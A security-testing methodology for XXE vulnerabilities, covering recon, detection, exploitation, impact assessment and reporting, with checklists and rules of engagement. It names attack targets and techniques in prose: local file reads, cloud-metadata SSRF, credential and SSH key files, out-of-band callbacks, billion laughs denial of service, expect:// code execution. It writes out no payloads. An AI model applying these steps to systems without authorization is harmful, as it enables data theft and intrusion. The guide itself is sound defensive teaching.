XXE Testing Methodology

XXE testing requires a systematic approach to identify vulnerable XML processing endpoints and validate exploitability. This methodology covers the complete testing lifecycle from initial reconnaissance to proof-of-concept and remediation validation.

Testing Objectives:

• Identify XML processing functionality
• Detect XXE vulnerabilities (classic and blind)
• Assess impact and exploitability
• Document findings with proof-of-concept
• Validate remediation effectiveness

Prerequisites:

• Understanding of XML and DTD syntax
• Knowledge of HTTP/HTTPS protocols
• Access to testing tools (Burp Suite, curl, etc.)
• Controlled environment for out-of-band testing
• Authorization to test the target system

Objective: Identify XML processing endpoints and file upload functionality

1.1 Identify XML Endpoints

• API endpoints accepting Content-Type: application/xml
• SOAP web services (WSDL endpoints)
• REST APIs with XML support
• Configuration file uploads
• Document processing features

1.2 Analyze File Upload Features

• Look for: SVG, DOCX, XLSX, PPTX, ODT uploads
• Check: RSS/Atom feed processors
• Find: Import/export functionality using XML
• Test: Document conversion services

1.3 Review Application Behavior

• Observe response times (slow = potential processing)
• Check error messages for XML parser details
• Look for XML in responses
• Monitor network traffic for XML patterns

1.4 Technology Stack Analysis

• Identify server technology (headers, error pages)
• Determine likely XML libraries based on stack
• Check documentation for XML features
• Review client-side code for XML usage

Objective: Determine if XML parsing occurs and if it's vulnerable to XXE

2.1 Basic XML Validation Test if endpoint accepts and processes XML:

• Send valid XML with custom elements
• Check if application parses and responds
• Verify XML is actually processed (not just stored)

2.2 DOCTYPE Injection Test Attempt to inject DOCTYPE declaration:

• Submit XML with <!DOCTYPE> tag
• Observe if parser accepts DTD
• Check for error messages or changes in behavior
• Note: Some parsers reject DOCTYPE but still process XML

2.3 Entity Reference Test Test if entities are expanded:

• Define internal entity, reference in content
• Check if entity value appears in response
• Try predefined entities (< > &)
• Test character references (A)

Objective: Confirm vulnerability and assess impact

3.1 Classic XXE Testing (Direct Output)

Test 1: Local File Disclosure

• Target: /etc/hostname, /etc/issue (safe to read)
• Payload: External entity with file:// URI
• Verify: File content appears in response
• Document: Exact file retrieved

Test 2: Directory Listing Attempt

• Try: file:/// (root directory)
• Note: Most parsers can't list directories
• Useful: Confirms path traversal capability

Test 3: Internal Network Access (SSRF)

• Target: http://localhost:80
• Try: Common internal IPs (192.168.1.1, 10.0.0.1)
• Check: Cloud metadata (169.254.169.254)
• Document: Accessible internal resources

3.2 Blind XXE Testing (No Direct Output)

Test 1: Out-of-Band Detection

• Setup: Burp Collaborator or interactsh.com
• Payload: External entity to your server
• Monitor: Incoming HTTP/DNS requests
• Confirm: Request received = vulnerability exists

Test 2: Error-Based Detection

• Payload: Invalid file path in entity
• Check: Error message contains path/file info
• Useful: When OOB blocked but errors visible

Test 3: Time-Based Detection

• Payload: Reference to slow-responding server
• Measure: Response time increase
• Limitation: Not definitive proof

Objective: Determine severity and business impact

4.1 Data Exposure Assessment

• What files can be read?
• Can sensitive configs be accessed? (.env, web.config)
• Can source code be retrieved?
• Can private keys be accessed? (~/.ssh/id_rsa)
• Can database credentials be obtained?

4.2 Network Access Assessment

• Which internal services are accessible?
• Can cloud metadata be reached? (AWS, GCP, Azure)
• Can internal APIs be accessed?
• Can admin panels be reached?
• What protocols work? (http, https, ftp, file)

4.3 Denial of Service Assessment

• Test billion laughs (carefully, in safe environment)
• Check entity expansion limits
• Assess resource consumption
• Document DoS potential

4.4 Privilege Escalation Potential

• Can XXE lead to RCE? (expect:// wrapper, jar:// attacks)
• Can credentials be obtained for escalation?
• Can session tokens be accessed?
• Can admin functionality be reached?

Objective: Create comprehensive vulnerability report

5.1 Vulnerability Details

• Affected endpoint/functionality
• XML parser/library (if identified)
• Vulnerability type (classic XXE, blind XXE, both)
• Exploitation complexity (low/medium/high)
• Authentication required? (yes/no)

5.2 Proof of Concept

• Full HTTP request showing exploitation
• Response demonstrating impact
• Screenshots of sensitive data accessed
• Steps to reproduce (detailed)
• curl/wget commands for reproduction

5.3 Impact Statement

• CVSS score and vector
• Business impact description
• Data at risk
• Systems compromised
• Compliance implications (PCI-DSS, GDPR, etc.)

5.4 Remediation Recommendations

• Immediate: Disable external entity loading
• Short-term: Input validation, content-type checks
• Long-term: Replace vulnerable libraries, implement WAF
• Provide code examples for fixes
• Reference language-specific prevention guides

Pre-Testing ☐ Authorization obtained (written permission) ☐ Scope defined (in-scope endpoints) ☐ Testing environment prepared (OOB server/Collaborator) ☐ Tools configured (Burp Suite, curl, etc.) ☐ Backup/restore plan (if testing production)

Reconnaissance ☐ XML endpoints identified ☐ File upload functionality mapped ☐ Technology stack analyzed ☐ API documentation reviewed

Detection ☐ XML parsing confirmed ☐ DOCTYPE acceptance tested ☐ Entity expansion tested ☐ Internal entity test performed ☐ External entity attempted

Exploitation ☐ Classic XXE tested (if entities expand) ☐ Blind XXE tested (OOB callbacks) ☐ Error-based tested (if errors visible) ☐ File disclosure attempted ☐ SSRF attempted ☐ DoS potential assessed

Documentation ☐ All findings documented ☐ Proof-of-concept created ☐ Impact assessed (CVSS scored) ☐ Screenshots captured ☐ Remediation steps provided

Validation ☐ Fixes verified after remediation ☐ Regression testing performed ☐ Security controls validated ☐ Final report delivered

Proxy/Testing Tools:

• Burp Suite Professional - Collaborator for OOB, Scanner for automation
• OWASP ZAP - Free alternative with XXE scanning
• curl - Command-line testing
• Postman - API testing and documentation

OOB Detection:

• Burp Collaborator - Built into Burp Suite Pro
• interactsh.com - Free OOB detection service
• Custom server - Python SimpleHTTPServer, netcat
• DNS logger - Capture DNS queries

Payload Generators:

• XXEinjector - Automated XXE exploitation
• Custom scripts - Python/Ruby payload generators
• Burp Intruder - Payload iteration

Analysis Tools:

• Wireshark - Network traffic analysis
• tcpdump - Packet capture
• Browser DevTools - Frontend XML inspection

Always:

• Obtain written authorization before testing
• Test in non-production when possible
• Use safe test files (/etc/hostname, not /etc/shadow)
• Monitor resource usage during DoS testing
• Document all actions taken
• Respect rate limits and throttling

Never:

• Test production without authorization and backup
• Attempt to access files you don't need to prove the issue
• Perform DoS attacks without explicit permission
• Exfiltrate real sensitive data
• Modify system files
• Share vulnerabilities publicly before remediation

Best Practices:

• Start with least invasive tests
• Escalate testing based on findings
• Stop testing if causing issues
• Communicate findings immediately if critical
• Provide remediation support
• Retest after fixes applied